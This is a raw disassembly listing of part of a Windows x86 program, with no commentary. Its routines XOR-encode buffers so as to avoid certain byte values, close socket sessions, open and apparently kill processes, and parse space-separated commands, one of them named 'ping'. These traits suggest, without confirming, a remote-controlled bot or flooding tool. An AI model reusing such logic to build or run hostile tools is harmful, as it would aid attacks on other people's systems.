		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013CA
		add	esp, 8
		push	eax
		push	esi
		call	sub_401794
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B8B
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267A0	proc near		; CODE XREF: sub_4017C6j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4267A9
		inc	ecx


loc_4267A9:				; CODE XREF: sub_4267A0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4267A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267D0	proc near		; CODE XREF: sub_401B8Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4267E8
		cmp	bl, 0Dh
		jz	short loc_4267E8
		cmp	bl, 5Ch
		jz	short loc_4267E8
		test	bl, bl
		jnz	short loc_4267E9


loc_4267E8:				; CODE XREF: sub_4267D0+8j
					; sub_4267D0+Dj ...
		inc	ebx


loc_4267E9:				; CODE XREF: sub_4267D0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42680C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_426806
		cmp	al, 0Dh
		jz	short loc_426806
		cmp	al, 5Ch
		jz	short loc_426806
		test	al, al
		jnz	short loc_42680C


loc_426806:				; CODE XREF: sub_4267D0+28j
					; sub_4267D0+2Cj ...
		add	ebx, 100h


loc_42680C:				; CODE XREF: sub_4267D0+1Fj
					; sub_4267D0+34j
		push	ebx
		call	sub_4017C6
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_426825
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426825:				; CODE XREF: sub_4267D0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_426830
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426830:				; CODE XREF: sub_4267D0+5Aj
		mov	al, byte_510124
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_426860


loc_426841:				; CODE XREF: sub_4267D0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_426857
		cmp	cl, 0Ah
		jz	short loc_426857
		cmp	cl, 0Dh
		jz	short loc_426857
		cmp	cl, 5Ch
		jnz	short loc_42685B


loc_426857:				; CODE XREF: sub_4267D0+76j
					; sub_4267D0+7Bj ...
		inc	al
		xor	edx, edx


loc_42685B:				; CODE XREF: sub_4267D0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_426841


loc_426860:				; CODE XREF: sub_4267D0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_510124, al
		ja	short loc_426893
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C54
		mov	edi, edx
		mov	byte_446C61, bl
		mov	byte_446C65, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4268B9
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_4267D0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C3C
		mov	edi, edx
		mov	word_446C4A, bx
		mov	byte_446C4F, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4268B9:				; CODE XREF: sub_4267D0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4268CF
		add	esi, edx


loc_4268C2:				; CODE XREF: sub_4267D0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4268C2


loc_4268CF:				; CODE XREF: sub_4267D0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4267D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426930	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_44B1AF[eax*4], ecx
		mov	dword_44B19B[eax*4], ecx
		mov	dword_44B19F[eax*4], ecx
		mov	dword_44B1A3[eax*4], ecx
		mov	dword_44B1A7[eax*4], ecx
		mov	dword_44B1AB[eax*4], ecx
		mov	byte_44AF9B[eax*4], cl
		mov	byte_44B1B3[eax*4], cl
		retn
sub_426930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_426A57
		cmp	ecx, 400h
		jge	loc_426A57
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_44B1AF[esi*4]
		push	eax
		nop
		call	near ptr 277081Ah
		cmp	dword_44B1AF[esi*4], ebx
		jz	short loc_4269E8
		mov	ebp, 1


loc_4269E8:				; CODE XREF: sub_4269A0+41j
		mov	dword_44B1AF[esi*4], ebx
		mov	dword_44B19B[esi*4], ebx
		mov	dword_44B19F[esi*4], ebx
		mov	eax, dword_44B1A3[esi*4]
		cmp	eax, ebx
		jbe	short loc_426A11
		push	eax
		call	sub_401C80
		add	esp, 4


loc_426A11:				; CODE XREF: sub_4269A0+66j
		mov	edi, dword_511C9C
		mov	dword_44B1A3[esi*4], ebx
		mov	byte_44AF9B[esi*4], bl
		mov	byte_44B1B3[esi*4], bl
		mov	ecx, dword_44B1A7[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_44B1A7[esi*4], ebx
		mov	edx, dword_44B1AB[esi*4]
		lea	esi, ds:44B1ABh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426A57:				; CODE XREF: sub_4269A0+Cj
					; sub_4269A0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A90	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44B19F


loc_426AA1:				; CODE XREF: sub_426A90+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_426AD5
		test	ebx, ebx
		jle	short loc_426AC7
		cmp	[esi], ebx
		jz	short loc_426AB8
		cmp	edi, ebx
		jnz	short loc_426AD5


loc_426AB8:				; CODE XREF: sub_426A90+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5
		jmp	short loc_426AD4
; ---------------------------------------------------------------------------


loc_426AC7:				; CODE XREF: sub_426A90+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5


loc_426AD4:				; CODE XREF: sub_426A90+35j
		inc	ebp


loc_426AD5:				; CODE XREF: sub_426A90+1Aj
					; sub_426A90+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D819F
		jl	short loc_426AA1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_426A90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B10	proc near		; CODE XREF: sub_401C80j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2700000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_426B45
		push	0
		push	esi
		nop
		call	near ptr 27903B1h
		test	eax, eax
		jnz	short loc_426B45
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2830906h


loc_426B45:				; CODE XREF: sub_426B10+1Dj
					; sub_426B10+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_426B10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B60	proc near		; CODE XREF: sub_40148Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_44B19B


loc_426B6B:				; CODE XREF: sub_426B60+1Cj
		cmp	[ecx], edx
		jnz	short loc_426B70
		inc	eax


loc_426B70:				; CODE XREF: sub_426B60+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D819B
		jl	short loc_426B6B
		retn
sub_426B60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B90	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_44B19B


loc_426B9E:				; CODE XREF: sub_426B90+1Fj
		cmp	[ecx], edx
		jz	short loc_426BB3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D819B
		jl	short loc_426B9E
		mov	eax, esi


loc_426BB3:				; CODE XREF: sub_426B90+10j
		pop	esi
		retn
sub_426B90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426BD0	proc near		; CODE XREF: sub_401BEAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_44AF9B


loc_426BD8:				; CODE XREF: sub_426BD0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_426BEE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D7F9B
		jl	short loc_426BD8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426BEE:				; CODE XREF: sub_426BD0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:44AF9Bh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_426BD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426C70	proc near		; CODE XREF: sub_401613j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426C70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_426C70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426EC0:				; CODE XREF: ___:loc_401B81j
		push	0FFFFFFFFh
		push	offset loc_43C9C4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_427058
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_426F2B
		mov	ecx, eax
		call	sub_401DF2
		mov	ebp, eax


loc_426F2B:				; CODE XREF: ___:00426F20j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FDC
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427058:				; CODE XREF: ___:00426F01j
		lea	ecx, [ebx+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4271CA
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_42709B
		mov	ecx, eax
		call	sub_401BDB
		mov	ebp, eax
		jmp	short loc_42709D
; ---------------------------------------------------------------------------


loc_42709B:				; CODE XREF: ___:0042708Ej
		xor	ebp, ebp


loc_42709D:				; CODE XREF: ___:00427099j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4271CA:				; CODE XREF: ___:0042706Dj
		lea	ecx, [ebx+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_427339
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_42720A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_42720C
; ---------------------------------------------------------------------------


loc_42720A:				; CODE XREF: ___:004271FDj
		xor	ebp, ebp


loc_42720C:				; CODE XREF: ___:00427208j
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427339:				; CODE XREF: ___:004271DCj
		lea	ecx, [ebx+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4274E4
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_427379
		mov	ecx, eax
		call	sub_40178F
		mov	ebp, eax
		jmp	short loc_42737B
; ---------------------------------------------------------------------------


loc_427379:				; CODE XREF: ___:0042736Cj
		xor	ebp, ebp


loc_42737B:				; CODE XREF: ___:00427377j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4274E4:				; CODE XREF: ___:0042734Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_427501
		mov	[ebx+11Ch], al


loc_427501:				; CODE XREF: ___:004274F9j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4276C0	proc near		; CODE XREF: sub_401A78j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_449A14
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4276E1
		inc	ecx
		mov	[eax+118h], ecx


loc_4276E1:				; CODE XREF: sub_4276C0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E8EAB
		call	sub_40120D
sub_4276C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427740	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F0DC
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427740	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277B0	proc near		; CODE XREF: sub_401F9Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4277B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+79h]
